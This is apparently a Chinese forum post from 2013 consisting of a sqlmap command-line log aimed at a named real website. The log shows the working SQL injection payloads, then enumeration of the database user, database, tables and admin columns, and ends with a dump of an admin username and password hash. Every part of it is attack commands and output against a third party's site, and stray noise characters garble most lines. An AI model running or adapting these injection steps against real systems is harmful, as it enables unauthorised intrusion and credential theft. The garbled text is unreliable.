D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db4 F) Y: G' j+ |& j% {4 W( x% Q+ v
ms "Mysql" --current-user /* 注解：获取当前用户名称
M) B9 e' S' @, u sqlmap/0.9 - automatic SQL injection and database takeover tool/ L5 V" p2 F. x3 Z
http://sqlmap.sourceforge.net starting at: 16:53:54
$ r0 p8 T9 \5 G1 p2 S% ?[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as% n0 o A F& n9 N2 R! L
session file/ T% s8 t& l' ]; m3 Z
[16:53:54] [INFO] resuming injection data from session file
* A2 x. h$ R/ X[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
4 `' _+ h" ]5 T+ S2 V[16:53:54] [INFO] testing connection to the target url
- B5 y; q& k1 X/ B2 P" Qsqlmap identified the following injection points with a total of 0 HTTP(s) reque% `* ]0 A6 b$ {" t W8 e
sts:
2 u8 V3 O! C V, @& `+ L---, Y3 e3 I3 J; _% E' a
Place: GET8 D0 h- s* n, [6 p6 q2 }' g j5 }6 n
Parameter: id
9 z1 j* \$ d5 `/ F5 g8 |# c Type: boolean-based blind
1 ^+ ?2 i: G0 P3 } Title: AND boolean-based blind - WHERE or HAVING clause4 b% b4 o( y3 p
Payload: id=276 AND 799=799$ ^' l2 s& |8 h ^8 J5 h" c
Type: error-based; k: }: K# a2 i5 N8 E J b4 `
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause0 F4 T9 V! n) D
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,8 r1 e. Z5 u) M, W
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58, J/ A" n1 Z8 Z: N3 L
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)7 b, e/ n' u0 `
Type: UNION query" d8 q8 E p7 p) i$ ~
Title: MySQL UNION query (NULL) - 1 to 10 columns, F4 B( b2 l' s. H& v2 Y) D
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
8 X. N* f5 [* [+ |0 N3 ^(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
9 r$ v7 o1 W* l8 DCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#; l: y5 ~( E) i# t5 i
Type: AND/OR time-based blind. C/ r7 b4 i! J' u7 G
Title: MySQL > 5.0.11 AND time-based blind
# v: F. l2 Q" a; M8 W. G Payload: id=276 AND SLEEP(5)
9 R |* w, a: g2 h- Q2 u7 _: J---
: g5 N- D, i7 T2 L: C4 K[16:53:55] [INFO] the back-end DBMS is MySQL
/ v& |) d, ^: V B5 Zweb server operating system: Windows
( j0 m; B( q5 S2 nweb application technology: Apache 2.2.11, PHP 5.3.0
% r5 ?! i; l# O6 I; P& W, B; Wback-end DBMS: MySQL 5.0
: ?! d7 B7 o2 t, ][16:53:55] [INFO] fetching current user- {5 B1 g$ w% h' ~5 `( y
current user: 'root@localhost'
: R8 G' L' M( q6 V+ G[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
, {- n: b2 b% x2 itput\www.wepost.com.hk' shutting down at: 16:53:58
/ [# S# \% e! J5 l) ^
' t+ G2 X# h+ z/ CD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db4 J6 q" L1 j6 |" A( J5 E* f" U
ms "Mysql" --current-db /*当前数据库
# Y0 e# g1 r8 H7 |( @/ g) y sqlmap/0.9 - automatic SQL injection and database takeover tool" U! V+ p. p) U+ p1 Y/ s) N
http://sqlmap.sourceforge.net starting at: 16:54:16$ ? Y/ @$ k% i/ T6 D
[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
0 }, @. A% @/ q. \) o* X session file
9 q* G1 \" u% H( M[16:54:16] [INFO] resuming injection data from session file
$ V2 e+ i2 @0 ]6 g+ ~4 T[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
, V+ U* @0 B; ^[16:54:16] [INFO] testing connection to the target url* q7 k) R3 f8 n6 G# A
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
7 K2 `% u0 c2 n$ ^( Ksts:
# e2 ]* ^( x8 i& q- Y/ t* Q6 ~* f. y; }---3 n8 {' e* H \' E2 `/ Z ~: y( Q2 q* p
Place: GET
8 S9 V. i3 v2 B; W# K2 ]$ D+ {Parameter: id
: d/ |3 Z% R" g6 | Type: boolean-based blind
. K- R5 \: V1 W9 v4 z# A4 F Title: AND boolean-based blind - WHERE or HAVING clause3 r) Z: y4 K0 H
Payload: id=276 AND 799=799
2 e# Q& ~' |6 _; k Type: error-based
: ]2 J& m2 I$ | a( q; _7 d3 i: g Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause: i% d( o# b u# B
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,+ T* \1 M, M) ~2 x) V
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,587 k& f6 T2 d4 Y% ^0 h8 {
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)& |! g4 M( u3 F. E2 r
Type: UNION query, V) P: D# s8 b4 I0 z) c6 x
Title: MySQL UNION query (NULL) - 1 to 10 columns
( J0 G. p3 {7 N2 u! m* g Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR+ w1 X: b6 c0 C; }1 ~& Y. s, `
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),5 u3 Z" [0 a$ v. r
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#" q4 [5 a2 s. c
Type: AND/OR time-based blind. x4 g; G: Z5 [; B
Title: MySQL > 5.0.11 AND time-based blind. z1 D/ }# R7 K& i, m
Payload: id=276 AND SLEEP(5)
! G0 N& L0 L/ v. ]+ N* r; C( u---
+ H/ r! l( b4 u0 h& s6 z0 v[16:54:17] [INFO] the back-end DBMS is MySQL: s: ~9 e% u9 I
web server operating system: Windows
; N6 H7 d$ V( | n9 b7 t* n. m8 pweb application technology: Apache 2.2.11, PHP 5.3.0. `7 N$ e/ F( k/ |: X' D" D3 `
back-end DBMS: MySQL 5.09 q, K1 Z& [* `# M% T w5 W' o
[16:54:17] [INFO] fetching current database$ z7 v+ Y& o) p# A" @& U& x
current database: 'wepost'
# ]$ t: Q4 _/ n0 J4 I[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
6 z+ ~8 i; Q. A% K3 Gtput\www.wepost.com.hk' shutting down at: 16:54:18
) G- G: h, s) V" SD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db0 s1 G5 N# n* N8 |" s: t& u! G% d
ms "Mysql" --tables -D "wepost" /*获取当前数据库的表名! ^$ }6 M8 J, [8 ] H7 b# o& c2 i
sqlmap/0.9 - automatic SQL injection and database takeover tool
) |( Q8 w% Z( p. w: [ http://sqlmap.sourceforge.net starting at: 16:55:25
# D7 [ S" G# {+ y$ B, ], ~[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
% r* R9 Z$ x; d8 c# { session file% N2 t' h4 Y! k% Q Z' e i9 S7 r
[16:55:25] [INFO] resuming injection data from session file* S9 b8 r; S; [3 R4 i7 |. S
[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
) j6 j; x- X. q- H) k' N[16:55:25] [INFO] testing connection to the target url u. I( G, ~ U, G+ v/ U
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
8 g' B; ~, }! D+ L) z) I/ _6 zsts:
% R* E; \+ s- Y---
S7 }% `( O3 A, p* n9 |Place: GET* v8 f: }* F5 T! J% T
Parameter: id+ P4 L6 C8 |6 B
Type: boolean-based blind% y7 ]8 J: w* `' |
Title: AND boolean-based blind - WHERE or HAVING clause! | y# ?) L9 y5 k8 M
Payload: id=276 AND 799=7999 s0 K6 d+ W3 N, p8 z7 M
Type: error-based
! Z) e; y! z& @1 q Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause1 H7 H. b& S7 P9 ~+ i5 n
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
7 _( o! H/ j3 R! o120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
* I9 V) k8 r9 D4 Z% s),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)# L3 N; x- f6 n+ J6 h* u# f
Type: UNION query$ S( F& J) p+ g4 |% h, C
Title: MySQL UNION query (NULL) - 1 to 10 columns
2 A* \- q" o6 K' e0 S Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
2 G9 E; ^! e8 X$ X3 U( `: j. C(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
( K3 A/ |: p: u M4 qCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#' b R7 K4 ]: O
Type: AND/OR time-based blind
+ c1 P2 @ d1 m) M Title: MySQL > 5.0.11 AND time-based blind" R; a( w s8 X' q( ?; e$ G
Payload: id=276 AND SLEEP(5)
- T. H; d* t3 |( [: d* I---# E, F9 Z0 {! ^$ ~3 A6 }1 P
[16:55:26] [INFO] the back-end DBMS is MySQL
* f' g0 N8 c/ y; G+ {8 E: `9 kweb server operating system: Windows
" A; C5 v- e( M- Qweb application technology: Apache 2.2.11, PHP 5.3.07 u% K' i+ i& U* Z$ k+ ^
back-end DBMS: MySQL 5.0) u7 R- G' S, \9 o: { x- j3 v
[16:55:26] [INFO] fetching tables for database 'wepost'
3 O) y* x3 r, J, A7 i9 E& |[16:55:27] [INFO] the SQL query used returns 6 entries. h3 { |2 k6 H# W* a Y' N
Database: wepost
# |- i, |1 s) t, `# P0 w[6 tables]8 ]) |1 ?* B4 b4 y f
+-------------+6 D: o5 C/ R6 \0 V& L, E
| admin |: n5 G$ ?/ N/ C: n% P4 U4 J: e
| article |
& e _& C) \& N3 I* F) M' B| contributor |
7 ]6 W" G4 b/ F# r| idea |# N# t1 F6 E, t `: Y1 b
| image |6 C- R" c; w; [( s/ P+ X6 W
| issue |
5 z% d& h& Z7 x% S' }: l+-------------+
) p- A8 k- ?- g' z' l9 J! g" f: }% g& A# s[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
) K. ]% c3 F- W; B) s0 K6 z, otput\www.wepost.com.hk' shutting down at: 16:55:337 q6 h& l* y+ G% H9 v
4 b/ {" H8 G2 w& g* \7 m/ Y- OD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
! O7 f* U( ?9 r/ U5 `ms "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名
: T1 F" D3 O% W9 j& E6 a1 d5 K! _ sqlmap/0.9 - automatic SQL injection and database takeover tool
" i' [6 I; g8 E' z7 S% t$ l http://sqlmap.sourceforge.net starting at: 16:56:06- h$ f2 y5 }: d4 n+ Y
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
# M3 |- ?1 i1 R* M$ I2 i9 ]) Wsts:. b$ J, K% X2 T: e: `8 N
---7 w7 H% g+ p; ~
Place: GET+ M9 U. d, C r+ L: q
Parameter: id
$ a* H( [& e' Q* e3 m: O { Type: boolean-based blind
7 @/ I' v% G/ e4 ~; q5 e# k; W; r- } Title: AND boolean-based blind - WHERE or HAVING clause* m% ?1 g6 E# C6 ?
Payload: id=276 AND 799=799# \# [3 }' d: w! [& K9 z- w
Type: error-based
. f. A4 j% F) F7 D9 u% J. o Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
$ C% |2 D7 f% r/ U Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,- r% z* P+ {1 _# m1 K
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
9 Q4 J6 m2 }( N( h# g),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
; b6 d1 H( F# a& }0 r& U# \ Type: UNION query; Q! O' d# ^; N' @
Title: MySQL UNION query (NULL) - 1 to 10 columns p3 W2 D) P1 P
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR$ e+ m! `9 }) W3 U: D, r# c9 w
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
. h+ Z) G0 U' Z: h9 B$ q/ u5 _CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#9 T$ o8 d) p. G; N$ X9 V& X/ O& @
Type: AND/OR time-based blind' ?- j% W5 A; h z3 P
Title: MySQL > 5.0.11 AND time-based blind) M* L" J& _ \" D' ^( X
Payload: id=276 AND SLEEP(5)5 M/ T0 j0 H2 b6 n3 {/ d
---
9 u& `; y8 _) [2 z6 X9 N' S& hweb server operating system: Windows
9 I. y" A; B$ T& t4 Y( tweb application technology: Apache 2.2.11, PHP 5.3.0
a! f8 R8 v& _back-end DBMS: MySQL 5.0
: f' V5 Z9 ~' ]9 [( ?1 F[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se6 Z, Z8 A, ^) ]+ W V1 |
ssion': wepost, wepost9 O. E$ r5 `7 c5 r: z1 _
Database: wepost
/ A( p- n/ x9 K/ v' N/ A' WTable: admin
2 ?2 t' x! H: ? D" t2 [0 l3 S4 w[4 columns]
2 s$ S* D; v% ]' E4 s. s+----------+-------------+
0 f0 @) C8 R0 G1 a& ?| Column | Type |& M& L" O& `( n4 T1 y+ @" Y, V7 t
+----------+-------------+
( l0 g4 ]6 n+ c. @, K| id | int(11) |
# g# a9 C. L; p# U| password | varchar(32) |* Z5 D% ^" M0 L' K, b( a1 o
| type | varchar(10) |
7 V! }' D& _/ q0 t1 J y0 [1 X| userid | varchar(20) |' o; K$ S1 i3 T2 K2 p5 t! }# K
+----------+-------------+
( \4 l- G* }/ A" M9 ?5 u shutting down at: 16:56:19
% s' n$ [) O. B
7 b$ `# b f, T5 Y+ i1 |D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db+ b2 q a5 j+ P) p
ms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容
; E: i2 P0 U& v3 e sqlmap/0.9 - automatic SQL injection and database takeover tool
5 ]( r9 [1 E: ?2 S# F# E# v http://sqlmap.sourceforge.net starting at: 16:57:14
4 g7 j3 H. p! d1 G% Zsqlmap identified the following injection points with a total of 0 HTTP(s) reque
; ]# \9 E$ B6 u- ^sts:$ o/ ^' o- f% Y: V( f
---
* f6 D+ }( w* A0 F! ]/ n& qPlace: GET2 J ?6 B4 ]" D2 H n% k
Parameter: id
8 P* K R, } g* {8 i5 _+ J/ P Type: boolean-based blind7 {2 i X9 l* X9 [ w& S" E4 v2 T
Title: AND boolean-based blind - WHERE or HAVING clause
* [" S. S: y9 b9 a% x6 D Payload: id=276 AND 799=7991 A ?( i( ^: w m8 e
Type: error-based
! s0 ?/ ?7 m m8 w0 C | Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause' t/ g4 z$ K# ?" n/ C
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,: u& `; a6 c, J! N* V
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58' g2 B, V- |9 `( t' e z+ ?
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
/ _( e& ?0 Y' a Type: UNION query7 u# s; n! D% d0 ]' m0 s
Title: MySQL UNION query (NULL) - 1 to 10 columns
R, R( v$ ]/ T2 p) B$ g2 t$ x Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR/ Q) \" Z$ `, f% D% r1 r- U; Y" n
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
* E; ]! A# W( Z3 V- s' ^8 bCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
$ T8 P& m) \+ N, |3 W Type: AND/OR time-based blind
& [7 Z6 ~+ J1 u6 h Title: MySQL > 5.0.11 AND time-based blind, ^6 Q7 n7 k m* A& O
Payload: id=276 AND SLEEP(5)
" U: S0 T0 R4 N0 n" `* {- P---( e1 R0 g6 R! R1 ?
web server operating system: Windows
: Y4 A( m7 p! `* Oweb application technology: Apache 2.2.11, PHP 5.3.0
0 V1 h/ _* Y8 @ V- vback-end DBMS: MySQL 5.0- @! {3 e. T4 X0 p5 q- E" p
recognized possible password hash values. do you want to use dictionary attack o
) S: C9 s9 B4 x- E/ W" y1 on retrieved table items? [Y/n/q] y1 W+ x3 T, k0 z( o& i6 d
what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
7 z' d7 e, ?4 kdo you want to use common password suffixes? (slow!) [y/N] y4 G: T; z: B6 S# n8 V, P
Database: wepost
% T: k G, |% tTable: admin* H9 C& @/ K1 S3 P/ D4 ?
[1 entry]
% @4 q7 M$ u" R5 j, q' s; w: z+----------------------------------+------------+( X7 i( m+ A& Y2 X
| password | userid |+ \; o5 M( S( F: { S4 d( e5 U, M
+----------------------------------+------------+
( e/ i- v! t* u| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
- K+ L0 k% I6 _8 h* M' k+----------------------------------+------------+
0 G& a8 P, V* q! P3 h- v$ B shutting down at: 16:58:14 \7 q, l1 c( F$ {
/ i3 k# H. m4 U; }: z% _; eD:\Python27\sqlmap> |
发表于 2013-4-4 22:18:49
收藏
支持
反对